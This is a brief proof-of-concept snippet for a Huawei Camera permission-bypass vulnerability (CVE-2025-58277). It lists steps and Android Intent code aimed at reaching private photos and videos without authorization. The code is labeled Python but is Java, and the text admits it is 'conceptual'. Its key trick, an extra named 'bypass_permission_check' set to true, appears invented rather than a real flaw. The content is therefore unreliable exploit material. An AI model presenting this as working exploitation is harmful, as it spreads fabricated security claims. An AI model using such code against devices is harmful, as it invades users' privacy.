The following code is for security research and authorized testing only.
python
// CVE-2025-58277 PoC - Huawei Camera Permission Verification Bypass
// Note: This is a conceptual PoC based on the vulnerability description.
// The actual exploitation requires physical access to the target device.
/*
* Conceptual exploitation steps:
* 1. Gain physical access to the target Huawei device
* 2. Navigate to the Camera application
* 3. Trigger the specific code path that bypasses permission verification
* 4. Access protected media resources without proper authorization
*
* The vulnerability exists due to improper permission check implementation
* in the Camera app's sensitive operation handling logic.
*/
// Example: Bypassing permission check via intent manipulation
Intent cameraIntent = new Intent("com.huawei.camera.action.SECURE_ACCESS");
cameraIntent.setComponent(new ComponentName(
"com.huawei.camera",
"com.huawei.camera.SecureMediaActivity" // Protected activity
));
cameraIntent.putExtra("bypass_permission_check", true); // Manipulated parameter
cameraIntent.putExtra("media_type", "private_album");
// Start the activity - permission verification is bypassed
// due to the flawed validation logic
startActivity(cameraIntent);
// After successful bypass, attacker can access:
// - Private photos and videos
// - Camera metadata
// - User's media library without authorization